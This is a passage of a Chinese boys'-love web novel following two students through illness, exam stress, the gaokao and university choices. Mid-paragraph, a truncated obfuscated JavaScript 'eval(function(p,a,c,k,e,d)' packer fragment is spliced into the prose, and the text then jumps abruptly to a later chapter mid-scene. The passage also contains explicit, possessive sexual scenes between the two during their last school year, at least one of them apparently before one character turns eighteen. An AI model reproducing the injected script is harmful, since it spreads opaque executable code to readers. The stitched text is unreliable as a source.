沈泱身体不舒服,情绪特别难控制住,只想躺在被窝里睡觉,见状委屈地喊道:“我还没有……还没有……你那天都要晕倒了都不去医院了,我这,我这还没有你严重,凭什么就,咳咳就要去医院了。” 江措不搭理他的话,只是把沈泱的袜子找了出来,又给不停抗拒的沈泱穿上袜子。 人民医院的急诊科,医生检查结果出来,是流感导致的发烧咽疼,建议打一针,最近很多人都得这个流感,吃药见效太缓慢了。 “我不要打针!”沈泱靠着江措昏昏欲睡,闻言立刻睁开了眼睛,盯着他对面笑眯眯的白衣恶魔拒绝。 但沈泱最后屁股上还是挨了一针,江措把他按在了病床上,把他的裤子不容置喙的往下扒了一点。 凌晨从医院回去的时候,江措打了一辆出租车,他和沈泱坐在出租车的后座上。 沈泱的屁股因为江措的原因,挨了一针,刚开始上车的时候,故意坐得距离江措很远,紧紧地贴着车门。 后面可能是身体不舒服,车门靠起来硬邦邦的,也或许是江措距离他太近了,沈泱难受地把脑袋埋在了江措的胸口上,手指紧紧地攥住他烟灰色外套的一截布料。 怕他滑下去,江措手一直扶在他的腰上。 忽然,他听到头埋在自己胸口的男生难受地悲鸣了一声,脑袋在自己的胸口乱蹭了两下。 是病得太难受了吗? 窗外的霓虹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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司机透过后视镜看着两个年龄相仿的少年,纤细的少年委委屈屈地从车厢里爬出来,委委屈屈地看着高大的青年,最后又委委屈屈地爬上了他的后背。 沈泱上了楼,没有嚷着要洗澡了,脱了衣服就双眼红肿地躺在床上。 江措顿珠没有声息地拉了椅子过来,坐在床前,看沈泱的胸口时不时激动地颤抖一下,急促的呼吸慢慢变得平稳,睫毛湿湿地睡了过去。 又过了好一会儿,估计沈泱睡熟了以后,江措蹑手蹑脚地起身,先去洗手间拿了沈泱的洗脸巾过来,弯下腰,像是擦拭什么价值连城的宝物一般,擦拭他脸颊的泪水。 盯着鼻头和眼皮都红红的沈泱看了一会儿,江措再次离开,他换了沈泱的擦脚巾过来,很细心地只掀开一截被子,只露出沈泱的双脚,仔仔细细地又给他擦了一遍脚。 沈泱醒过来的时候,先是觉得眼睛胀胀的,他坐起了身体,拿过搁在床头的手机。 七点钟了! 早自习要迟到了! 沈泱掀开被子就要起床,脚刚塞进拖鞋里,他猛地朝门口看了过去,“江措,你今天没有去摆摊吗?” “今天不摆摊。” “那你也不用去上学吗?” 江措没回答这个问题,只是走过来,高大的身体在沈泱身前蹲下,伸出手,手掌贴在沈泱的额头。 还是有点烫。 “你觉得身体怎么样?” 沈泱后知后觉地想起他昨晚上发烧的事情了。 他虚弱地咳嗽一声,瞥一眼江措的脸色,又虚弱地朝床头靠过去,抚着胸口,愁眉苦脸地说:“感觉不是很好呢,脑袋疼疼的,喉咙,咳咳咳咳……也还是不舒服。” 40-50 第41章 沈泱根本不想搭理江措的话, 但江措的确是一个好学生,明明第一次的时候并没有觉得特别舒服,这不过是第三次, 江措完完全全地掌握了沈泱的身体, 比他还要了解他的每一个兴奋点。 “不睁吗?” 沈泱把眼睛睁开了,又开始骂江措,骂江措是个大混蛋, 大变态,但江措往上颠了一下, 沈泱抬手给了他一下,最后只能扭过头盯着镜子。 完全不太能描述现在接受到的刺激, 沈泱完全没看见过这样的自己, 他又开始哭了, 哭着叫了江措两声, 又混乱慌张地用手去挖他。 新年的烟花声响彻天空, 温暖干燥的房间里, 过了很久, 声音才逐渐地消了下去。 大年初四这天,江措去电脑城买了一个配置很高的笔记本电脑, 沈泱起初不太能理解江措买这个做什么, 转念想起江措那些什么c++, object-c,计算机一类的书, 大概有了点了解。 转眼到了初七, 江措的生日刚好在这天,学校收假的前一天,很多年没有过生日的江措又有了一个主动给他过生日的人, 吃到了人生第一个属于他的生日蛋糕。 虽然最后生日蛋糕没有全部以正确的方式进入腹部,可沈泱清楚地知道一件事,江措很喜欢这个生日蛋糕,虽然沈泱不是很喜欢这种不讲究的吃法。 但沈泱又自顾自的觉得,江措的生日,还是应该满足他一下的。 大年初八的这天,县城一中的高三生正式开始上课了。 二月中旬的开学考试,江措毫不意外的又回到了年级第一的宝座,沈泱在江措高强度的辅导下,成绩颇有进步。 时间进入三月,距离高考只剩下三个月了。 而这段时间的高考模拟考越来越多,月考,全洲统考,二模,三模,四模,沈泱的成绩却越来越差,一开始能考到四百八,后面是四百六,四百五,五月中旬的三模拟考,竟然只有四百二。 随着每次考试成绩的不理想,沈泱半夜会惊醒,会开始做噩梦,梦见他语文只考了五十多分,作文怎么也写不完,梦见他考试迟到了,梦见他涂答题卡的时候铅笔不见了。 江措一开始冷着脸给他压力,说不准丧气,这是不可能出现的,后来抱着沈泱安抚,没关系,如果今年考的很糟糕,可以明年再来,他可以陪他复读,沈泱跨坐在江措结实的大腿上,听见这话,眼泪刷地一下滚了下来。 或许是凌晨一两点,或许是凌晨三四点,江措被不停往自己胸口凑的男生弄醒了,他摸到沈泱满脑门的汗,还有眼泪顺着他的脸颊滚下来,江措伸长手臂,摁亮旁边的床头灯。 “沈泱,沈泱。”江措低着头,声音还算温柔地叫了他两声。 沈泱神色惊惶的睁开眼,看见江措后愣了愣,环绕了一圈周围的环境后,沈泱哭着说,“江措,我怎么也找不到考试的考场。” 江措用指腹擦拭掉沈泱的脸上的汗水和泪水,抱着他轻声道:“只是一个梦而已。” 沈泱躺在床上,双眼含着泪,神色慌然无依,又贴近了江措,双手紧紧地攥着江措的衣摆,“可是,可是万一我真的考不好怎么办?万一我复读,还是考不上那个学校怎么办?难道我还要继续复读吗?” 江措按着沈泱后腰的手猛然一紧。 他们两个人太熟悉了,感受过对方的每一寸的皮肤,他比沈泱还要熟悉他身上的每一颗痣在哪里。 按着沈泱后腰的大手动了动,比起去年十一二月,他的腰明显薄了一点,下颌也变尖了,显得那双湿漉漉的杏眼更大了。 江措看着沈泱眼睛里的无措慌张担忧,心像是被一只手用力地攥了一下,沈泱明明是骄矜漂亮的小公主,他想起过年的时候,沈泱眼睛里的自信开朗和鲜明。 江措忽然下定了决心,“没关系,实在考不上本科,我们就读专科。” “那我们岂不是会离得很远?”沈泱又开始哭了,搂着江措的脖子嚎啕大哭,“江措,距离申城大学最近的专科是哪一个啊?” 江措看过完整的大学名录,他摸了摸沈泱的脑袋,“也不会很远的,沈泱,你要是只考了四百五,我就挑一个距离四百五很近的大学,如果你只是靠了四百二,我就挑一个距离四百二很近的大学,如果你只靠了三百五,我就挑一个距离三百五十分很近的大学。” 沈泱眼睛红红地望着他。 江措哑声道:“宝宝,江措的小宝宝,不要有压力了。” 现在是五月下旬,距离考试只有不到二十天了,而等这句话说完,从第二天开始,江措再也不会凌晨五点叫沈泱起床学习了,他会六点半再叫沈泱起床,早自习会去沈泱的教室陪着他学习,但也不严格安排他学习计划了,生怕沈泱浪费掉一分一秒的时间,中午也允许沈泱好好休息,而不是逼迫他复习每一个知识点。 沈泱有一点恐慌,而在他适应这种生活之前,这天他在江措的书里看到了一张纸,是一本江措拿回来的《phthon编程,从入门到实践》里看到的。 是一整页大学的名字,前面几行左右两个大学后缀都是大学。 后面几行左边的学校都带着学院,右边是什么什么大学。 脑袋里忽然浮现几天前晚上江措对自己讲的话,沈泱大脑突突一跳,沈泱用手机搜完了这张纸上的每一个大学,开门声忽然响了起来。 这学期开学后,江措每天只在网吧里打五个小时工了,六点到十一点,不过江措回家后不会休息,而是搞他的电脑,还是一两点才会上床睡觉。 “沈泱,怎么还没洗澡?”江措走进了房间,话刚说完,看见沈泱手里捏着的那张纸。 沈泱的眼睛迅速红起来,“江措,我考三百五你真的要去那什么韩城大学吗?那个学校去年的录取分数才五百四!” 江措用没有厚茧的右手指腹擦掉沈泱的眼泪,“不要哭。” 他在床边坐下,将沈泱拉到自己的大腿上坐好,“那个学校其实也不措。” 沈泱用江措的外套蹭掉他的眼泪。 卫衣的布料硬邦邦的,沈泱的脸颊被磨有点疼。 湿润滴落下来,肩膀处传来明显的濡湿,江措用手指捏住沈泱的下颌,抬起沈泱泪流满面的脸。 用嘴唇吮掉沈泱脸上的泪珠,江措望着他的眼睛说,“沈泱,只要你一直在我身边,我就不会后悔。” “你……”沈泱张嘴想要骂他,嘴巴又被一条灵活粗壮的舌头堵住了,江措素来是一个很强势的人,尤其是在两个人的亲热时,一点也不允许沈泱挣脱,不多时,沈泱就只能呜呜咽咽地喘着气了。 过了两天,是全洲最后一次统考,沈泱这一次没有了必须考到517的压力,心态平和,反而考出了高三最好的成绩。 “我多少分?”沈泱揉了揉眼睛,不敢相信自己的眼睛,他的总分竟然有四百九十二。 江措也有点意外,转念一想,这几个月沈泱一直学的挺好,就是每次考试给自己的压力太大,一上考场就心慌意乱,江措也没有给沈泱压力了,一句平淡的还不错带过了。 “就这样啊?”沈泱有点不乐意。 “反正不管你考多少分,我们读大学也会在一起。”江措又一次强调这个话,不只强调这个话,他还强调,“以后也一直会在一起。” 沈泱朝周围快速地扫了一眼,见同学们都在埋着头大快朵颐,沈泱压低了声音说:“你小声一点,这又不是家里。” 下午六点,江措准时去网吧打工,桑杰愁眉苦脸地坐在柜台前,江措眼睛扫过,发现是一张excle表格,他旁边还放着一个计算机。 桑杰嘴巴里念叨着可口可乐二十箱,又打开另外一张表,念叨着可口可乐三十箱,愁眉苦脸地在计算器上按出一个三十。 “桑杰哥,你在干什么?” “江措,你来了啊?”桑杰烦躁地抓了一把头发,“我在做表呢,我舅舅和朋友合伙开了一个批发店,攒了几十张销售单了,让我给他弄一个总表,他和朋友好分账。” “这得算死我,不知道他为啥觉得我是开网吧的就会弄这些玩意儿!!”桑杰哭丧着一张脸。 江措见他又打开了一张表,繁琐地加数字,江措说,“桑杰哥,你让我试试。” 桑杰眼睛一亮,忙不迭从电脑前离开了,“那你来吧,你脑袋比我好用多了,我看了一个数字马上就忘了,不过不着急,一周内弄好就行。” “行。”江措在桑杰的位置上弄好。 桑杰估摸了一下,这要是他自己算,最起码得用个两三天,还不保证数据完全没问题,江措现在只能晚上五个小时班,一周应该没啥问题。 江措在旁边算表,桑杰就看着柜台,有人上机要身份证,帮客人送送饮料和水。 无聊地打用电脑打地雷时,江措叫了他一声,“桑杰哥,我算好了。” 什么! 桑杰差点从凳子上摔了下去,愕然地睁大了眼睛,“你算好了,这才多久,江措,这才九点,上百种品类,几十张单子呢。” 江措转了一下电脑屏幕,把总表展示给桑杰,“我不是一行一行加,我是下了一个python2.7,基于它写了一个脚本,然后让他帮我自动读取了表格里的数据。” “我懂了,就是黑客那种做法是吧。” “谈不上,挺简单的,你看一下。” 桑杰算了一下午,才算出了几个种类,那几个种类的数字完全对得上,他用了一张单子比对江措的数据,完全没问题,“厉害啊,江措,你太厉害了!!” 江措:“不过其实这样还是挺麻烦的,桑杰哥,你可以让你舅舅弄一个软件,扫码开单,销售采购自动增减库存,自动记账算账,买卖流水,应付账款和应收账款也自动更新,会方便很多。” 桑杰说:“哪里买?贵不贵?” “不贵,五千块钱就能买到一套。”江措语气平静地说,“上个月我就在网络上接了个单,帮一个零食批发商做了一个这样的系统。” 桑杰:“……” 桑杰拍了拍江措的肩膀,震惊的半天都没能说出话来。 江措在他这里干了大半年,脑瓜子灵毋庸置疑,偶尔好几个客人同时要不同的饮料,江措从来不会出现任何的纰漏,记得一清二楚。 不像他们,拿了饮料后,还要扯着嗓子问一句雪碧是谁的?牛奶是谁的。 也能看到他在打工的间隙看密密麻麻的书,他偶尔扫了一眼,完全跟天书一样,全都是他看不懂的专业名词,仔细想想,其中有一本书名就写着什么编程。 “你能把那个程序给我看看吗?” “在家里的电脑上,明天晚上行吗?” “行。” 第二天江措把那个演示软件copy了过来,桑杰还叫来了他的舅舅,江措做的软件是全傻瓜操作,而且百货批发算是桑杰舅舅的副业,他看完没多久,就让江措也给他做一个。 两个人加了联系方式,江措请了一天假,把程序做好了,但等到周末才把程序交给了桑杰的舅舅,并且去他的批发商店,教会了他店里的员工。 江措打了个八折,只要了四千块。 “江措,我桑杰活了二十五年,就没见过比你还聪明的人了!我读书那会儿的年级第一也完全没法和你比!”桑杰拍着江措的肩膀,感慨万千。 “桑杰哥,从下周开始到十号我都不来店里上班了,马上要高考了。”江措说。 经他一提醒,桑杰才想起了江措再过一周多就要高考了,桑杰连忙道:“那行,你好好考试,等会儿我去看店,你也别去了,我送你回去吧。” 高考前的最后一周,一中没有再考试,老师们也不在把成绩两个字耳提面命,进入了高三以来最松懈的状态。 距离高考还有几天的时候,这天晚上,吃过晚饭,沈泱带着江措来到了学校对面的文具店,千挑万选了两本同学录,其中有一本是给江措挑的。 江措一开始不要,但沈泱坚持要给他买,并且以你不发我就亲自去你们教室帮你发给你的同学们,江措才收下了这本同学录,回到教室后拆开,把每一页发给了一班的同学。 高中快结束了,每个班级都流行起了写同学录,只是没有人给江措发。 江措虽然和大家同学三年,但他性格冷漠,还格外与众不同,高三一整年都没上过晚自习,和同学们有一种说不出的距离感。 而当他的同学录发了出去后,晚自习的时候,江措收到了四十多张同学录,他捏着笔,没什么表情地写完了同学录。 今年的六月七八号恰好在周二和周三,学校毕竟有一半的住校生,只在六号放一天假,给大家熟悉自己的考场。 一中的学生有两个考场,一中和二中,沈泱和江措的运气都不错,被分到了他们自己的学校。 七号上午是语文,下午是数学,下午数学考完,沈泱简直是红光满面。 走出靠场后,他在教学楼的外面看见了等待他的江措,顾不得周围的人来人往,沈泱兴奋地抱住了江措,“江措!你竟然压中了,你压中了倒数第二个大题,二十分啊!!” 当然,不是说题目一模一样,而是知识点和解题思路竟然是一模一样的。 最后一周的学习,江措以给沈泱押题为主,而不是在逼着他学习。 今天下午数学卷子发下来,今天他看到卷子就知道了这件事,比不得沈泱的欣喜,见有人朝他们俩看过来,江措接过沈泱的书包,“走吧,去吃饭。” 沈泱后知后觉地意识到这不是个说话的地方,他压低了声音,像偷吃了米油的小仓鼠一样,半捂着嘴巴说,“好的好的。” 江措和沈泱高考这两天,在学校食堂吃饭。 高考期间,高一高二放假,学校里只有高三生。 食堂也和平时不一样,专门针对高三学生准备了营养餐。 江措和沈泱虽然不住校,但没有家人操持他们高考的三餐,也报名了学校的高三营养餐。 两天考试一晃而过,沈泱简直是神清气爽,“江措,我感觉我这次考的特别好!!数学和物理好几个大题我都会!”沈泱最差的就是数学和物理,一般情况下,都不太能及格。 “你呢,你考的怎么样?” “和平时差不多。”江措说,“要对答案吗?答案出来了。” 沈泱后退一步,赶紧摇头拒绝,“我才不对答案呢,我先回教室了。” 这是沈泱高中生涯的最后一次班会了,想到这里,沈泱坐在教室里,坐在他空荡荡的没有一本书的课桌前,一直很讨厌班会的沈泱忽然对这次班会生出了一点截然不同的心情。 班主任说了一些志愿填报的事,然后就让大家回家了。 第二天,是不太重要的英语口试,晚上则是班级聚餐。 沈泱班的聚餐地点和江措班的班级聚餐有点远。 他们班选的是一家汤锅店,同学们围坐在七八张桌子上,吃饭聊天又向老师敬酒,有些同学竟然直接喝白酒,沈泱喝的是啤酒,他不喜欢啤酒的味道,但今天这个日子,倒也不是很讨厌啤酒。 来找沈泱干杯的同学也不在少数,以女同学居多,人家女生都喝了啤酒,沈泱不好不喝,转眼竟然喝的有点多了,双颊殷红。 江措骑着自行车来汤锅店的门口接沈泱回家的时候,看到的就是这样的的沈泱,眼球湿润,含着诱人的水光一般,双颊红的像是樱桃碾碎了汁水涂在上面,乖乖地站在玻璃门左侧的位置,旁边的曲安林和宋海和他讲话,他也不听,只是直直地盯着前方的马路。 两个人目光交汇的一瞬,像一只漂亮的乱人心弦的精致手办忽然活了起来,明亮的灯光洒在他柔嫩的肌肤上,沈泱的眼睛唰地亮了起来,摇摇晃晃地朝他走来。 曲安林伸手想要扶他,被沈泱动作很大的甩开。 在曲安林下一次碰到沈泱之前,江措先揽住了沈泱的腰。 “他喝了多少?”江措看乖乖地趴在自己胸口的沈泱。 曲安林:“大概两瓶啤酒的量,他酒量也太差了。” “谢谢你照顾他,我先带他回去了。” “行,我也回去了。”曲安林的脸颊也有些烧,只是理智还很清醒。 沈泱晕乎乎的,江措不放心骑自行车带他回家,自行车锁好放在马路上,江措打了一辆出租车。 出租车两人小区的门口,江措让醉醺醺的沈泱下车,牵着他的手回了家。 喝醉了的沈泱有点乖,让做什么就做什么,江措挤好牙膏,让沈泱张大嘴巴。 沈泱眼神迷蒙地望着他,然后张开了嘴巴。 “吐水。”江措喂他喝了一口冷水,见沈泱拧着眉,要和牙膏的泡沫一起咽下去,江措赶紧提醒。 沈泱腰弯下来,江措一只手按在他的后腰上,阻止了他往后跌倒的身体,沈泱把口里的水吐了出来。 刷牙牙,江措又给沈泱洗脸洗澡洗头发。 头发吹干后,江措抱着沈泱回到了卧室。 紧接着,江措快速地给自己收拾完,回到了房间。 两个人接了一会儿吻,见江措打开床头柜,去摸里面的东西的时候,沈泱反应了一下,没等江措开口,主动转过了身,趴在床上,把屁股撅了起来。 沈泱骨架纤细,比例极好,手长腿长,该长肉的地方更是饱满的不像话,而这个姿势在他清晰的状态下,从来没有做过。 眼前是一片晃人又饱满的白,江措的眼睛忽然红了几分,他一巴掌甩在了沈泱的屁股上。 不是特别用力,但沈泱疼的嗓音里带了点哭腔,“你,你又打我。” “不是打你。”江措红着眼睛说,灯光下,他把沈泱翻了过来,贴在沈泱的耳膜里哑声道:“沈泱,干你的人是谁?” 沈泱完全没快感捕获,听不清楚江措讲了什么,江措暂停了动作,贴在他的耳膜边又说了一边,沈泱的意识涣散,根本没办法思考这个问题,只能凭着本能说,“江措。” 又带着一点描述不出的颤音,“江措,动一下啊。” 江措还是没有立刻动,只是望着沈泱的眼睛,像是下咒一般贴在沈泱的耳边说:“沈泱,这辈子能和你□□的只有江措,知道了吗?”—— 作者有话说:高中毕业啦,两个宝宝毕业快乐! 第42章 沈泱是被尿意憋醒的, 他掀开被子,冲进了卫生间。 从卫生间里出来,客厅里灯光明亮。 沈泱朝窗外扫了一眼, 月落参横, 天还没怎么亮。 沈泱打了个呵欠,朝江措走了过去,江措的电脑放在餐厅的大理石桌面上, 见沈泱朝他走了过来,盯着电脑的江措抬起了头。 “几点了啊, 你怎么还不睡?”沈泱含糊地嘟囔一句。 他脑袋前倾,凑到江措的电脑屏幕前一看, 密密麻麻他看不懂的代码, 也没有显示时间。 沈泱细细白白的手指拿起江措放在一旁的手机, 摁亮后, 他惊愕道, “四点半, 江措, 你不睡了吗?” 话说完,沈泱放下手机, 直起身, 沈泱的眉毛突然拧了一下, 他怀疑地盯着江措,“江措, 你是不是又打我屁股了?我屁股怎么有点疼?” “你忘了昨晚上发生的事情?” 昨晚上发生的事情? 昨天晚上发生什么了?沈泱回忆了一番, 他啤酒喝的不是特别多,只是熏熏然,没到醉的不省人事的地步。 脑海里浮现江措给他屁股一下的画面, 沈泱生气地给了江措一下,“你果然打了我的屁股。” 江措忽然站了起来,没等沈泱反应过来,双手掐着他的腰,将人抱坐在了餐桌上,餐桌是冰冷的大理石,沈泱不适应的动了动屁股,就听见江措问,“沈泱,这辈子只有谁能草你?” 沈泱瞳孔猛然一缩,惊愕地看着江措。 江措敛某,眼睫微垂,狭长的浅褐色眼眸里勾勒出沈泱的轮廓,“沈泱,这辈子只有谁能草你?” 沈泱的脸迅速地红了,从脖颈一路红到了耳垂。 虽然做过了好几次了,但煌煌灯光下,两个人衣衫齐整地谈论这种问题,是不是太羞人了一些? “嗯,沈泱?是谁?”江措掐住他的下颌,不允许他目光四处游移。 沈泱伸出脚踹他的膝盖,又红着脸厉声命令江措松开他,放开他,他要回去睡觉! 江措两条腿纹丝不动地杵在沈泱的身前,又随便他骂,深邃摄人的眼神牢牢地锁住他,像波涛汹涌的浪潮完完全全地裹住了误入浪潮中的珍贵白鲸。 沈泱都骂的口干舌燥了,两条腿也没力气再踹江措了。 江措又不厌其烦地问道,“沈泱,这辈子只有谁能草你?” “江措,江措顿珠行了吧!”沈泱破罐子破摔道。 江措从沈泱的身前退开,沈泱两只腿往下一滑,双脚牢牢地站在地上,他踹了旁边的江措一脚,转过身回到了房间里。 沈泱回到房间,掀开被子躺下,过了几分钟,他翻了一个身,熟练地往旁边靠去,什么都没有。 沈泱板着脸,就在这个时候,门外的灯忽然灭了,房间里进来了一个高大的男人。 江措掀开沈泱旁边的被子爬上了床,沈泱转过身,睁开眼睛,没好气地道:“你不搞你那破电脑了?” “天亮了再弄。”江措说完,长臂一伸,娴熟地把沈泱往自己的怀里带。 沈泱翻了个身,身体靠着床沿,距离他远远的。 江措倒也没动,他关掉了床头灯,平躺在床上,闭上了眼睛。 过了大概五六分钟,床上传来窸窣的动静声,靠着床沿的少年缓缓朝他靠了过来。 江措一直没动,直到在对方来到自己的臂展范围内时,江措猛然侧身,一把将人拽进自己的怀里,大掌不容置喙地贴在对方的后腰上。 沈泱打了个呵欠,在江措温热熟悉的胸膛里调整了一个更为舒服的姿势,头抵他的下颌,沉沉地睡了过去。 一晃十多天过去了,沈泱原来想过的暑假生活就是打游戏看电视玩手机,无所事事的悠闲生活。 但好像和他想的有一点出入。 沈泱一直知道江措精力超出常人的旺盛。 过去的一年里,他每天睡眠只有四五个小时,从来没有丝毫的疲惫。 放假之后,不用去学校里上课了,江措在网吧打工的时间又变成了下午六点到十二点。 而白天在家,江措也没闲着,天天对着他的计算机自学编程。 沈泱还听见他和什么人打电话,沟通什么网站搭建,总而言之,没看到他有什么看手机或者玩的时间,时间被填的满满当当,可除此之外,他还是有充足的精力拉着沈泱用各种方式吃鱼。 他晚上下班回来十二点了,不会拉着沈泱晚上吃鱼。 一般是在沈泱醒过来的早上,或者是昏昏欲睡的午后。 他买了透光不透人的白色纱帘,窗户大开。 明晃晃的日光从透光的窗帘晒进来,风扇咯吱咯吱地转动着,小朋友在小区玩闹的声音透过大开的窗户清晰地传入沈泱的耳膜里。 沈泱死死用手地捂着嘴,不敢发出任何声音,盛夏的闷热潮湿在两个人之间蔓延。 沈泱以前一直以为江措没有特别热衷于这件事,在暑假之前的七八个月,两个人加起来应该做了才十来次。 可是现在每天都要做,有时候沈泱吹着风扇趴在沙发上看电视,江措忽然走过来脱他的衣服,有时候沈泱低着头玩贪吃蛇,江措忽然走过来亲了亲他,接着身上的衣服就迷迷糊糊的消失了。 短短的十多天过去了,沈泱觉得自己从里到外都弥漫着一股腥膻气息,不仅他身上被腌入味了,房子里的每个角落都弥漫着一股腥腻的味道。 “不能在做了,我昨天晚上走路双腿都发软,膝盖都给我摔红了。”清晨,沈泱被江措亲醒了,感受到精神抖擞的大黑鱼,沈泱拒绝的尾音都发飘。 江措顿了一下,挽起沈泱的裤腿,痕迹遍布的膝盖上有一块不明显的淤青。 掐住沈泱的下颌,见沈泱的眼下发青,脸色有些苍白,江措说:“不做了。” 沈泱松了口气,还是不放心地把自己裹在被子里,露出一双眼睛瞧着江措,嗓音带着点哑,“明天也不做,后天也不做,大后天也不能做。” “嗯,让你休息几天。” 沈泱惊愕地瞪大了眼睛,像是很难相信江措竟然这么容易赞同了他的话。 而江措也用行动证明了这一点。 转眼就到了六月下旬,他们省的成绩在晚上十点公布,可以网络电话查询,这天晚上江措不用去网吧上班,沈泱从早上起床就开始精神不宁,江措把他按在沙发上,喂他吃了几个小时的大黑鱼,但眼看距离十点越来越近,沈泱的恐慌感越来越强烈了。 即将晚上十点,成绩查询系统已经可以登录,江措提前把沈泱的身份信息输入系统,沈泱搬来一把椅子坐在江措的旁边,坐了一会儿又心慌意乱地站了起来,连话都没有给江措讲。 “到十点了是不是?”沈泱连忙说,“还是先查你的成绩吧,江措,我的不急。” “已经点了查询了。” 沈泱的心跳都停止了一瞬。 毫不夸张,这是沈泱在被江措第一次亲亲之后的最紧张的一次,心脏在胸腔里震动的声音似乎随时要穿破耳膜。 “不要直接告诉我多少分,你先告诉我,考的差还是不错!”害怕江措猝不及防地吐出沈泱没办法接受的数字,沈泱着急慌忙地强调道。 江措瞥了一眼电脑的屏幕,说道:“系统繁忙,正在加载中。” 沈泱咽了咽口水,心神不宁地在客厅里踱步。 几分钟后,他转过头,呼吸急促地问江措,“加载出来了吗?” “没有。” 声音刚落下,页面跳转,江措的心在这一瞬间也剧烈地震动了一下。 加载了七八分钟的页面终于跳转了出来,几个加黑加粗的数字映入江措的瞳仁里。 余光瞥向沈泱,沈泱细长的手指捏着一个军绿色的搪瓷水杯,搪瓷水杯的边缘破损磕碰。 显而易见,那不是沈泱的水杯,而是属于江措的水杯。 绯红的唇瓣含着得瓷釉不均的杯沿,沈泱魂不守舍。 沈泱一点都没注意到他拿错了水杯,含着水杯喝了两口水,他抬起头,眼神惴惴不安,“出,出来了吗?” 江措指腹用力地摩挲了一下,压抑住突如其来的的欲望,告诉沈泱,“出来了,你考的很好,比你高三最好的成绩还要好。” 沈泱的眼睛倏然睁大了,“有五百分吗?” “五百二十一。”江措报出沈泱的成绩。 脑袋里闪过一片空白,沈泱大步流星走到电脑面前,眼睛直直地看向电脑屏幕,总分那行赫然是521三个数字,沈泱激动的差点跳了起来,“江措,江措,我数学竟然考了一百二!!” “嗯,很好。” 沈泱的兴奋稍微平静一点后,江措退出沈泱的账号。 他刚刚输沈泱的准考证号和身份证时没拿沈泱的准考证和身份证,那些东西看过几遍早就记在了他的脑海里,过了最繁忙的前十分钟,江措只等了十几秒,页面跳转了出来。 沈泱心跳噗通噗通,页面跳转之前,赶紧伸出两只手,捂住了自己的眼睛。 虽然江措的成绩从来没有过下滑的时候,但他还是有点害怕万一,他小心翼翼睁开一点眼睛,在确认开头的第一个数字是七后,沈泱捂着两只眼睛的手才终于放了下来,“七百零七,江措,你竟然考了七百零七。” 短暂的激动过后,沈泱拿起了手机,班级群里今天热闹非凡,沈泱把自己的分数发在群里后,引来了一片的欢呼声。 紧接着,沈泱又把一班江措的成绩发到了四班的班级群里。 肚子不要讲:【靠,不愧是我们学校的学霸啊,竟然比我多了四百多分!!】 伤心的故事:【这分数,能上清华或者北大了吧?】 看到大家都在称赞江措的成绩后,沈泱又赶紧把江措的分数拍照,发给了穆宁然。 沈泱:【江措考了七百零七!!】 穆宁然:【厉害啊!】 穆宁然:【你呢?我考了五百四】 沈泱:【五百二十一!!】 穆宁然:【!!!!】 第二天下午,高三生们最后一次返校,老师要讲一些志愿填报的事。 江措来到了王贵的办公室。 王贵红光满面,意气风发,“江措,你考的很好,七百零七,我们久塘,不,我们整个洲都没有你这么好的成绩,你还比我们洲的第二名高出了整整二十分呢。” “想好去哪个大学了吗?” 江措说:“申城大学,计算机专业。” 王贵一愣,“你不去清华或者北大吗?你这个分数应该是够的。” “计算机是这两年的大热专业,这两所学校在我们省招的学生很少,我怕万一没录上。” 王贵说:“你只比我们的省状元低几分,排在你前面的人没几个,江措,我觉得你可以选择清华或者北大,什么学校都不如这两所学校的名头响亮。” 江措:“我不喜欢北方。” 王贵着急:“这还是关乎你一辈子的人生大事啊,何况那可是首都,去首都读书有什么不好?你知道有多少人想去不能去吗?” 江措:“王老师,我已经决定了,我要读申城大学。” 王贵心急如焚,申城大学虽然也算顶级九八五,排名在首都两所学校之后的那一档,但他还是觉得首都的两所名气最大。 王贵缓缓道:“你为什么不喜欢北方?” 江措说:“太冷了,我不喜欢。” 沈泱怕冷,首都到了冬日,大雪纷飞,银装素裹,沈泱虽然喜欢看雪,却极其怕冷,申城虽然冬日也寒冷,可是纬度和蓉城相差不大,到了冬日,也是草木蔼然的城市。 何况这两所学校旁边,没有适合沈泱去读的大学,相比较之下,申城大学是最好的选择了。 王贵沉默了一会儿,说:“江措,你还小。” “王老师,我知道我要什么。”江措忽然说。 王贵忽然叹了一口气,是的,江措和一般的学生不一样,他虽然才成年不久,但是他经历的事情是很多中年人都难以想象的,何况他的确是一个意志坚定的聪明孩子。 罢了罢了,申城大学也是顶级九八五,他们学校也十多年没有人上这么好的学校了。 王贵道:“唉,也行吧,毕竟你要读计算机,这是这几年的热门专业,申城大学保险一点,万一比你分高的几个同学都选择计算机了呢?” 他很快说服了自己,又对江措道:“你这次的高考成绩特别好,我们县几十年都没有过这么好的成绩,政府也知道你的家庭条件,决定给你三万块的奖学金,江措,教育局这边也有两万块的补助。” 江措愣了愣,真心实意地道:“谢谢王老师。” 江措一直都知道没人会平白无故地对自己好,凡是所好,必有所求,久塘一中没人不知江措是王贵心里最重要的学生,江措也知道,不仅是看中江措的学习成绩,也是为了江措能带给他的政绩。 但十八岁的江措很久之前就理解到这是一件理所当然的事,如果你对别人没有任何好处,世间之人千千万,对方凭什么就要对你与众不同。 没有不求回报的优待,也没有不求回报的爱,就像他和沈泱一样。 如果江措对沈泱没什么用处,沈泱也不会喜欢江措吧。 王贵又叮嘱了江措好几句,最后惆怅地放他离开了。 沈泱和江措回了家,江措在电脑上填好他们两个人的志愿,系统提交成功后,沈泱忽然想起来了一件事,“江措,你还要回回宁村吗?” “你想回去吗?”江措说。 “当然不想了,山上那么荒僻,什么都没有,不过你原来不是每年夏天都要回去采松茸吗?”沈泱和胡大江的关系不错,这都是胡大江告诉他的,而且最近松茸上市了,沈泱在县城里看到了很多卖松茸的商贩。 “不回去了。” 沈泱惊喜道:“是不是你在网上赚到的钱比挖松茸的多一些了。” 江措没说是还是不是,只是看了沈泱一眼,然后讲这样的话,“你不喜欢住在山上。” “那谁喜欢住在山上啊,那里没电视没网络没小卖部,洗漱都不方便,你不在家的时候,我听到大黄狗在门外吠,都不敢出门。” 江措看着他,说:“所以今年我不回去了。” 和江措深邃专注的眼神对视上,突如其来的,沈泱自耳根升起了一阵酥麻,渐渐传递到四肢百骸,他鼻尖用力地哼了一声,快速地转过头去。 七月上旬,江措收到了申城大学的录取消息,又过了半个月,沈泱也顺利地被旁边的工商大学录取了。 八月初的时候,穆宁然来久塘找沈泱玩。 